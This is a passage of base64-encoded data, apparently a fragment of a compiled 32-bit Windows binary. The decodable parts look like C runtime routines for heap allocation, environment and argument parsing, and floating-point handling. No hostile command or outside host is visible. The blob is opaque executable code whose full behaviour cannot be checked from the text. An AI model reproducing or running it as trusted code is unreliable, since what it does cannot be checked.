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 TdCLhIHEAAAAC8KLTfyLVdCJhIrEAAAAi0Xsi03YiQiLVewDVdiLRdiJQvy4AQAAAIvlXcPM zMzMzFWL7IHsaAEAAKHUnAIQa8AUUIsN2JwCEFH/FVAgAhCFwHQIg8j/6e4FAACLFdicAhCJ lcT+///HheD+//8AAAAA6w+LheD+//+DwAGJheD+//+LjeD+//87DdScAhAPjbMFAACLlcT+ //+LQhCJhaD+//9oxEEAAIuNoP7//1H/FVAgAhCFwHQKuP7////phgUAAIuVxP7//4tCDImF 2P7//4uNoP7//4HBRAEAAIlN6IuVxP7//4tCCIlF/MeFvP7//wAAAADHhaj+//8AAAAAx0X0 AAAAAOsJi030g8EBiU30g330IA+N7gQAAMeF5P7//wAAAADHhbD+//8AAAAAx4XU/v//AAAA AMeFtP7//wAAAADrD4uVtP7//4PCAYmVtP7//4O9tP7//0B9E4uFtP7//8eEhej+//8AAAAA 69WDffwAD4wxBAAAaACAAACLjdj+//9R/xVQIAIQhcB0Crj8////6a0EAACLldj+//+JVfjH hcD+//8AAAAA6w+LhcD+//+DwAGJhcD+//+DvcD+//8ID413AQAAi034g8EMiY3Q/v//i5XQ /v//gcLwDwAAiZXI/v//i4XQ/v//g3j8/3ULi43I/v//gzn/dAq4+////+k9BAAAi5XQ/v// iwKJhbj+//+Ljbj+//+Jjaz+//+Llaz+//+D4gGF0nQ2i4W4/v//g+gBiYW4/v//gb24/v// AAQAAH4KuPr////p8QMAAIuN1P7//4PBAYmN1P7//+tCi5W4/v//wfoEg+oBiZW0/v//g720 /v//P34Kx4W0/v//PwAAAIuFtP7//4uMhej+//+DwQGLlbT+//+JjJXo/v//g724/v//EHwZ i4W4/v//g+APhcB1DIG9uP7///APAAB+Crj5////6XIDAACLjdD+//8Djbj+//+LUfw7laz+ //90Crj4////6VEDAACLhdD+//8Dhbj+//+JhdD+//+LjdD+//87jcj+//8PgvD+//+LldD+ //87lcj+//90Crj4////6RUDAACLRfgFABAAAIlF+Olt/v//i03oixE7ldT+//90Crj3//// 6e4CAACLReiJhcz+///HRewAAAAA6wmLTeyDwQGJTeyDfexAD40tAgAAx4WY/v//AAAAAIuV zP7//4mV0P7//4uF0P7//4tIBImNpP7//4uVpP7//zuVzP7//w+EIwEAAItF7IuNmP7//zuM hej+//8PhA0BAACLlaT+//87ldj+//9yE4uF2P7//wUAgAAAOYWk/v//cgq49v///+lRAgAA i42k/v//geEA8P//iY2c/v//i5Wc/v//g8IMiVXwi0XwBfAPAACJhdz+//+LTfA7jdz+//90 H4tV8DuVpP7//3UC6xKLRfCLCIPh/otV8APRiVXw69aLRfA7hdz+//91Crj1////6eYBAACL jaT+//+LEcH6BIPqAYmVtP7//4O9tP7//z9+CseFtP7//z8AAACLhbT+//87Rex0Crj0//// 6aoBAACLjaT+//+LUQg7ldD+//90Crjz////6Y8BAACLhaT+//+JhdD+//+LjZj+//+DwQGJ jZj+///pvP7//4O9mP7//wB0boN97CB9MroAAACAi03s0+qLheT+//8LwomF5P7//7oAAACA i03s0+qLhbz+//8LwomFvP7//+s2i03sg+kgugAAAIDT6ouFsP7//wvCiYWw/v//i03sg+kg ugAAAIDT6ouFqP7//wvCiYWo/v//i43Q/v//i1EEO5XM/v//dRKLReyLjZj+//87jIXo/v// dAq48v///+nLAAAAi5XM/v//i0IIO4XQ/v//dAq48f///+mwAAAAi43M/v//g8EIiY3M/v// 6cD9//+LVfSLhaD+//+LjeT+//87TJBEdRiLVfSLhaD+//+LjbD+//87jJDEAAAAdAe48P// /+toi5XY/v//gcIAgAAAiZXY/v//i0XoBQQCAACJReiLTfzR4YlN/On/+v//i5XE/v//i4W8 /v//OwJ1EYuNxP7//4uVqP7//ztRBHQHuO/////rFouFxP7//4PAFImFxP7//+ks+v//M8CL 5V3DzMzMVYvsg+wMi0UIg8ABPQABAAB3F4tNCIsVXIgCEDPAZosESiNFDOmJAAAAi00IwfkI geH/AAAAgeH/AAAAixVciAIQM8BmiwRKJQCAAACFwHQii00IwfkIgeH/AAAAiE30ilUIiFX1 xkX2AMdF+AIAAADrEYpFCIhF9MZF9QDHRfgBAAAAagFqAGoAjU38UYtV+FKNRfRQagHow28A AIPEHIXAdQQzwOsLi0X8Jf//AAAjRQyL5V3DzMzMzMzMzMzMVYvsg+xsaIEAAABosC8CEGoC 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 